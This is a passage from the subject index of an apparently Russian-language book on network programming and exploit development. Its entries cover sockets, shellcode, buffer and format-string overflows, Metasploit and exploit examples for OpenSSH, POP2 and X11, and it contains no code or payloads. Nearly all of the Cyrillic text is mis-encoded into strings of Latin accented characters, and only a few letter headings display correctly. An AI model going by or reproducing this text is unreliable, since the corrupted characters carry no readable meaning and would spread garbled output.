èíòåãðèðîâàíèå ýêñïëîéòà

â êàðêàñ Metasploit, 629
îïðåäåëåíèå íåäîïóñòèìûõ

ñèìâîëîâ, 614
ïåðåçàïèñûâàíèå àäðåñà

âîçâðàòà, 602
ñîçäàíèå è êîäèðîâàíèå, 619

Ïîðò îòïðàâèòåëÿ (â çàãîëîâêå
UDP), 157
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Ïîðò ïîëó÷àòåëÿ (â çàãîëîâêå
UDP), 157

Ïîðòû
êëèåíòñêîå ïðèëîæåíèå

â Windows, 207
îòïðàâêà UDP-äàòàãðàììû, 161
óòèëèòà äëÿ îïðåäåëåíèÿ íîìåðîâ

RPC-ïðîãðàìì, 178
Ïîðÿäîê áàéòîâ, 285
Ïîñëåäîâàòåëüíàÿ îáðàáîòêà

çàïðîñîâ â TCP-ñåðâåðå, 251
Ïîñëåäîâàòåëüíîñòè ñèìâîëîâ äëÿ

çàâåðøåíèÿ ñòðîêè, 112
Ïîòîê óïðàâëåíèÿ

â ïðîãðàììå RPCDump, 680
â ÿçûêå C#, 64
â ÿçûêå C/C++, 40
â ÿçûêå Java, 52

Ïðàâà äîñòóïà ê ôàéëó, 515
Ïðèâÿçêà ê ïîðòó

shell-êîä äëÿ, 413
â ýêñïëîéòàõ, 527

Ïðèëîæåíèå
îáíàðóæåíèå óÿçâèìîñòåé, 504
ïðîöåäóðû èíòåãðàöèè

ñ, 682, 695
ñðåäñòâà îòëàäêè, 226

Ïðèìåðû
èñïîëüçîâàíèå Winsock äëÿ

ðåàëèçàöèè àòàêè ñ
ïåðåïîëíåíèåì áóôåðà, 229

îøèáêà â ïðîãðàììå man ïðè
êîíòðîëå âõîäíûõ äàííûõ, 517

îøèáêà ôîðìàòíîé ñòðîêè
â xlockmore, 510

ïåðåïîëíåíèå XLOCALEDIR
â X11R6 4.2, 538

ïåðåïîëíåíèå áóôåðà â OpenSSH
èç-çà íåïðàâèëüíî
ñôîðìèðîâàííîãî
êëèåíòñêîãî êëþ÷à, 549

ïåðåïîëíåíèå áóôåðà
â UW POP2, 574

ïåðåïîëíåíèå öåëîãî â OpenSSH
â ïðîöåäóðå îêëèêà/
îòçûâà, 570

ïðèìåíåíèå Winsock äëÿ
ðåàëèçàöèè àòàêè
íà Web-ñåðâåð, 227

ðàçáîð IP-àäðåñà, çàäàííîãî
â êîìàíäíîé ñòðîêå, 70

ñêà÷èâàíèå Web-ñòðàíèöû
ñ ïîìîùüþ Winsock, 206

ñöåíàðèé íà ÿçûêå NASL, 127
Ïðîáëåìà àäðåñàöèè â shell-êîäå

ìåòîä jmp/call, 407
ìåòîä çàòàëêèâàíèÿ àðãóìåíòîâ

â ñòåê, 408
îáçîð, 432

Ïðîãðàììíûå îøèáêè
àòàêè íà ôîðìàòíóþ ñòðîêó, 507
îáíàðóæåíèå óÿçâèìîñòåé, 504
ïðè ðàáîòå ñ öåëûìè

÷èñëàìè, 564
Ïðîãðàììû ñ íåäîñòóïíûìè

èñõîäíûìè òåêñòàìè, 543
Ïðîãðàììû ñ îòêðûòûìè

èñõîäíûìè òåêñòàìè, 537
Ïðîñòûå ñîêåòû, 378

API, 378
â ÿçûêå Java, 277
çàãîëîâî÷íûå ôàéëû, 379

Ïðîòîêîëû
ïîääåðæèâàåìûå Winsock 2, 199
óÿçâèìîñòè, 521

Ïðîöåäóðíîå
ïðîãðàììèðîâàíèå, 32

Ïðîöåäóðíûé ÿçûê
ïðîãðàììèðîâàíèÿ, 744

Ïðîöåññîðû, 285
Ïñåâäîêîä, 132
Ïóë ïîòîêîâ, 252
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Р

Ðàáîòà ñ ôàéëàìè, 304
Ðàçäåëÿåìàÿ áèáëèîòåêà

âû÷èñëåíèå àäðåñà âîçâðàòà, 608
èçìåíåíèÿ â ñâÿçè ñ âûõîäîì

íîâûõ âåðñèé, 612
èñïîëüçîâàíèå â êà÷åñòâå

òðàìïëèíà, 605
ïåðåçàïèñûâàíèå àäðåñà

âîçâðàòà, 602
Ðàñøèðåííàÿ èíôîðìàöèÿ îá

îøèáêå
è íàïèñàíèå ïåðåíîñèìûõ

ïðîãðàìì, 341
ïîëó÷åíèå, 195

Ðåãèñòð, 745
Ðåãèñòðàöèÿ COM-îáúåêòà, 647
Ðåãóëÿðíûå âûðàæåíèÿ

ìîäèôèêàòîðû, 88
ïåðåíîñ íà NASL è íàîáîðîò, 141
ñîïîñòàâëåíèå ñ îáðàçöîì è

ïîäñòàíîâêà â Perl, 87
Ðåêóðñèÿ, 105

С

Ñáîðêà ìóñîðà, àâòîìàòè÷åñêàÿ,
50, 61

Ñåðâåðíûå ïðèëîæåíèå
äëÿ ïðîòîêîëà TCP, 149
äëÿ ïðîòîêîëà UDP, 156
èñïîëüçîâàíèå BSD-ñîêåòîâ, 149
èñïîëüçîâàíèå Java Sockets, 246
èñïîëüçîâàíèå Winsock, 211

Ñåòåâûå èíòåðôåéñû,
èìåíîâàíèå, 390

Ñèãíàëû
ïåðåíîñèìûé êîä, 302

Ñèãíàòóðû
àíàëèç, 717

òåñòèðîâàíèå, 706
ôàéë, 735

Ñèãíàòóðû àòàê, 705
Ñèìâîëè÷åñêàÿ ññûëêà, 515
Cèñòåìíûå âûçîâû

àðãóìåíòû, 411
â àññåìáëåðíûõ ïðîãðàììàõ, 402
âîçâðàùàåìûå çíà÷åíèå, 413
êðàòêèé ñïðàâî÷íèê, 755
íîìåðà, 410
îáçîð, 432
ïðîáëåìà àäðåñàöèè

â shell-êîäå, 406
Ñèíõðîíèçàöèÿ ïîòîêîâ, 297
Ñêàëÿðû, â ÿçûêå Perl, 80
Ñêàíåðû, 752
Ñêàíèðîâàíèå ñåòè

ñ ïîìîùüþ TCP-ñîêåòîâ, 178
ñ ïîìîùüþ UDP-ñîêåòîâ, 169

Ñëåïàÿ ïîääåëêà
TCP-ñîåäèíåíèÿ, 514

Ñëóæáà îòîáðàæåíèÿ ïîðòîâ
(portmapper), 178–179

Ñìåùåíèå àäðåñà âîçâðàòà
è îáíîâëåíèå ïðîãðàìì, 611
íàõîæäåíèå, 601
òðóäíîñòè, 642

Ñîçäàíèå è çàâåðøåíèå ïðîöåññîâ
îáçîð, 287
ñèñòåìíûé âûçîâ exec, 287
ñèñòåìíûé âûçîâ exit, 293
ñèñòåìíûé âûçîâ fork, 293

Ñîêåòû. Ñì. BSD-ñîêåòû, Java
Sockets, Winsock
â ïðîãðàììå SP-Rebel, 706
èíèöèàëèçàöèÿ, 528
èñïîëüçîâàíèå â ýêñïëîéòàõ, 527
êàê îêîíå÷íûå òî÷êè

ñîåäèíåíèÿ, 148
Ñîêðûòèå äàííûõ

â ÿçûêå C#, 61
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â ÿçûêå C++, 35
â ÿçûêå Java, 49
îïðåäåëåíèå, 745

Ñîîáùåñòâà èìÿ, â ïðîòîêîëå
SNMP, 169

Ñîïîñòàâëåíèå ñ îáðàçöîì, 87
Ñïåöèàëüíûå ïåðåìåííûå

â Perl, 86
Ñïåöèôèêàòîðû ôîðìàòà, 508
Ñïèñêè ðàññûëêè, 434
Ñðåäà èñïîëíåíèÿ COM, 646
Cñûëî÷íûå ïåðåìåííûå, 106
Ññûëî÷íûå òèïû â ÿçûêå Java, 52
Ñòàíäàðòíîå ñîãëàøåíèå

î âûçîâå, 645
Ñòåê

âûáîð âåêòîðà óïðàâëåíèÿ
äëÿ àòàêè íà ïåðåïîëíåíèå
áóôåðà, 602

âû÷èñëåíèå àäðåñà âîçâðàòà, 607
îïðåäåëåíèå, 745
îðãàíèçàöèÿ ïàìÿòè, 531

Ñòåê ïðîòîêîëîâ TCP/IP,
ðåàëèçàöèè, 513

Ñöåíàðèè ðååñòðà, â ATL, 663

Т

Òàéìàóò, äëÿ ñîêåòà, 166
Òåñòîâàÿ ñòðîêà, 614
Òèïû äàííûõ

â ÿçûêå C#, 62
â ÿçûêå C/C++, 37
â ÿçûêå Java, 50
â ÿçûêå Perl, 80

Òî÷å÷íî-äåñÿòè÷íàÿ íîòàöèÿ, 239
Òî÷êà âõîäà â ìîäóëü

äëÿ âíåïðîöåññíîãî
COM-ñåðâåðà, 669

äëÿ âíóòðèïðîöåññíîãî
COM-ñåðâåðà, 669

У

Óäàëåííûå ýêñïëîéòû, 506
Óêàçàòåëè

è áåçîïàñíîñòü C/C++, 36
è ññûëî÷íûå ïåðåìåííûå, 106
èíòåëëåêòóàëüíûå â ATL, 653

Óòèëèòà ìîäèôèêàöèè ôàéëà
ïðîòîêîëà, Perl, 90

Óÿçâèìîñòü
àòàêà íà ôîðìàòíóþ ñòðîêó, 507
â ëîêàëüíûõ è ñåòåâûõ

ïðîãðàììàõ, 505
â ïðîòîêîëå TCP/IP, 513
ãîíêà, 514
è shell-êîä, 400
íàïèñàíèå ýêñïëîéòà, 504
îáíàðóæåíèå, 504
îïðåäåëåíèå, 745
îøèáêà ïðè êîíòðîëå äàííûõ

â man, 517
ïðîâåðêà íàëè÷èÿ, 215
ñèãíàòóðû, 705
ñðåäñòâà äëÿ àíàëèçà, 750

Ф

Ôàéëîâûå äåñêðèïòîðû
ïîâòîðíîå èñïîëüçîâàíèå, 474

Ôîðìàòíàÿ ñòðîêà, 507
àòàêè, 521
èñïðàâëåíèå ïðîãðàììíûõ

îøèáîê, 510
óÿçâèìîñòü â ïðîãðàììå

xlockmore, 510
Ôóíêöèîíàëüíîå

ïðîãðàììèðîâàíèå, 32
Ôóíêöèîíàëüíûé ÿçûê

ïðîãðàììèðîâàíèÿ,
îïðåäåëåíèå, 745

Ôóíêöèÿ, îïðåäåëåíèå, 745
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Х

Õýøè, â ÿçûêå Perl, 80

Ц

Öåëî÷èñëåííûå òèïû äàííûõ, 330
Öèêëû

â ÿçûêå C#, 64
â ÿçûêå C/C++, 40
â ÿçûêå Java, 52
â ÿçûêå NASL, 117
â ÿçûêå àññåìáëåðà, 403

Öèôðîâûå îòïå÷àòêè, 705

Ш

Øàáëîíû â ÿçûêå C++, 652

Э

Ýêñïëîéò
è shell-êîä, 400
îïðåäåëåíèå, 746
ïåðåíîñ íà ÿçûê NASL

è íàîáîðîò, 131
ðàçðàáîòêà ñ ïîìîùüþ êàðêàñà

Metasploit, 588
âûáîð âåêòîðà óïðàâëåíèÿ, 602
âûáîð ïîëåçíîé íàãðóçêè

è êîäèðîâùèêà, 619
âû÷èñëåíèå àäðåñà âîçâðàòà, 607
äîðîæêà èç NOP-êîìàíä, 617

èñïîëüçîâàíèå àäðåñà
âîçâðàòà, 612

íàõîæäåíèå ñìåùåíèÿ, 597
îïðåäåëåíèå âåêòîðà àòàêè, 596
îïðåäåëåíèå íåäîïóñòèìûõ

ñèìâîëîâ, 614
îïðåäåëåíèå îãðàíè÷åíèé

íà ðàçìåð, 615
Ýêñïëîéòû

àòàêà íà ôîðìàòíóþ ñòðîêó, 507
ãîíêà, 514
çàòèðàíèå êó÷è, 544
ëîêàëüíûå è óäàëåííûå, 505
îáíàðóæåíèå óÿçâèìîñòåé, 504
îøèáêà â ïðîãðàììå man ïðè

êîíòðîëå âõîäíûõ äàííûõ,
ïðèìåð, 517

îøèáêè ïðè ðàáîòå ñ öåëûìè
÷èñëàìè, 564

ïåðåïîëíåíèå ñòåêà, 531
ñîêåòû è ïðèâÿçêà ê ïîðòó, 527
óÿçâèìîñòè TCP/IP, 513

Ýìóëÿòîðû àïïàðàòóðû, 749

Я

ßçûê àññåìáëåðà, 402, 746
â Windows è UNIX, 406
è shell-êîä, 400
êîìàíäû, 429
íàïèñàíèå shell-êîäà

äëÿ Windows, 425
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